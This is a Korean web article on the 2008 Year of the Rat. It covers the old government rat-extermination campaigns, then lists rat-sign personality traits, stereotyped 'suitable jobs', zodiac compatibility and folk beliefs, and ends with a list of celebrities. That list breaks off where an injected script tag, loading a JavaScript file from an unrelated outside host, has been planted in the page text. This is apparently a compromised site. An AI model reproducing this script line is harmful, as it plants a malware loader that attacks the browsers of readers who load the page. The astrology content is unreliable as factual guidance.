2008년, 무자년(戊子年) 새로운 대한민국이 밝았다. 국민이 선택한 새로운 지도자가 새로운 정책으로 경제를 살리겠다는 약속을 믿으면서, 어느 해보다 더 희망에 부풀어 맞이하는 새해가 되고 있다.
쥐는 다산과 재산을 상징하는 12띠 동물 중의 하나이다. 쥐는 영리하면서도 저축성이 강한 동물이기 때문일 것이다. 50대 이상은 어린 시절 학교에서 쥐를 잡아야 한다고 배웠다.
1950년대 말에서 60년대 초까지였던 것으로 기억된다. 한 쌍이 365일이 지나고 나면 무려 1214마리로 불어난다는 패널을 복도에 붙여 놓고 늘 강조하였던 기억이 난다. 한창은 이 해로운 동물 쥐를 없애기 위해서 나라에서 약을 나누어주고서 죽은 쥐를 헤아리기 위해서 쥐의 꼬리를 수집하는 일을 벌이기도 했다. 쥐약을 제대로 만들어 놓지 못하는 국민들을 위해서 아예 쥐약을 곡식에 버무린 것을 나누어주기까지 하면서 쥐를 잡아 없애려고 했다.
쥐띠(자) 36, 48, 60, 72, 84, 96년생이 있어요
전반적인 성향
지혜롭고 영리함. 작은 일엔 잘 놀라나 오히려 대범하게 대처함.
쉽게 만족하지 못하면 인색한 사람이 많음.
가정적이지 못하나 사회에 실력을 인정받음.
자식사랑이 남달리 유난히 깊음.
가정적이기 보다는 바깥 생활이 많거나 바깥생활을 좋아함.
실속 없이 잘 나다님. 돈을 잘 빌림. 인덕이 없고 식성이 까다로움.
사교성이 있고 애교도 있고 눈치도 빠르며 성품깔끔. 상업적 소질이 있음.
심장이 약하고 식성이 까다로운 편. 어지간한 병은 깡으로 버텨 이겨냄.
얼굴이 야윈 자가 많으며 살집이 붙으면 고질병이 생겨 고생.
장점
매력적이다. 상상력이 풍부하다. 신중하다. 정직하다. 검소하다. 이지적이다. 영리하다. 독립적이다. 낭만적이다. 독특하다. 정열적이다. 관대하다. 주변의 사람을 기쁘게 하려 노력한다. 몹시 긴장한다.
단점
공격적이다. 탐욕스럽다. 방자하다. 의심이 많다. 기회주의자이다. 캐묻기를 좋아 한다. 항상 이익추구를 한다. 내성적이다. 불안을 감추지 못한다. 누구든 착취할 수 있다. 바겐세일 하는 가게는 그냥 지나치지 못한다.
직업
예술가, 슈퍼마켓 주인, 전당포 주인, 부동산 중개업자, 창녀, 사기꾼, 비평가 등
인연
가장 좋은 만남은 용띠, 소띠, 원숭이띠다. 용띠는 쥐띠에게 힘을 준다.
소는 안정감을 준다.
원숭이는 꾀를 제공한다. 공격성을 받아 줄 수 있어야 한다.
다음으로 좋은 만남은 돼지, 개, 뱀띠이다.
토끼띠는 조금 노력이 필요하다.
말띠와는 상극 관계를 이룬다. 개인주의인 말띠와는 이기적인 쥐띠와 충돌한다.
애정
용 : 좋은 금술이다.
토끼 : 쥐가 평생 위험하게 잡혀 살 수 있다.
범 : 힘겨운 만남이다.
소 : 축복의 만남이다.
쥐 : 그냥 다정한 만남이다.
돼지 : 적당히 좋은 만남이다.
개 : 이상주의적인 개와 안될 것이 없다.
닭 : 서로 힘든 만남이다.
원숭이 : 최고의 결합이다.
양 : 서로에게 형벌이다.
말 : 결사 반대의 만남이다.
뱀 : 무척 노력이 필요한 만남이다.
쥐띠 태생들의 궁합! 진실 VS 거짓
신중하고 영리하다고 소문난 쥐띠. 일각에서는 쥐띠 태생들은 개와 궁합이 안 맞아서 애완견을 키우면 절대 안 된다는데, 진실일까? 쥐띠에 얽힌 진실과 거짓을 밝힌다.
쥐띠는 애완견을 키우면 안된다?(x)
쥐띠는 개띠와 상극이라서 애완견을 키우면 안 된다는 말이 전해지는데 이는 근거 없는 속설이다. 오히려 쥐띠와 개띠는 궁합이 좋은 편이다.
두 띠의 공통특징은 성격이 온순하고 성실하다는 점이다. 두 사람은 서로 배려해주는 면이 강할 것이다. 또 둘 다 낭만적이고 상상력이 풍부해서 잘 맞는 짝이 될 것이다.
쥐띠와 말띠는 성격이 안 맞다?(O)
쥐띠와 말띠는 완벽한 상극이다. 이기적인 쥐띠와 개인주의적인 말띠는 잦은 충돌을 일으킨다. 서로 성격을 맞춰갈 생각조차 안 해서 관계는 더욱 악화된다.
궁합이 맞는 상대는 소띠, 용띠이다. 소띠는 쥐띠에게 평온함을 전해주고, 용띠는 쥐띠에게 힘과 용기를 준다. 이 두 띠와 맺어지면 금슬 좋은 부부가 될 것이다. 한편 돼지띠와 개띠도 긍정적인 궁합이다.
쥐띠 남자는 의처증이 있다?(x)
개인차가 있지만 쥐띠는 의심이 많고 캐묻기를 좋아하는 성질이 있다. 이러한 성격 때문에 아무렇지 않게 묻는 말이 상대에게는 편집증 혹은 의처증 기질로 오인 받을 수도 있는 것.
그러나 이는 불안을 감추지 못하는 쥐띠의 성격에서도 기인하므로 그리 큰 걱정은 하지 말자. 의처증이라기보다는 감정컨트롤을 못해서 오해를 받는 경우가 많기 때문이다.
쥐띠 연예인
연예계 쥐띠 연예인으로 84년생 구혜선, 이영아, ?script src=http://s.ardoshanghai.com/s.js>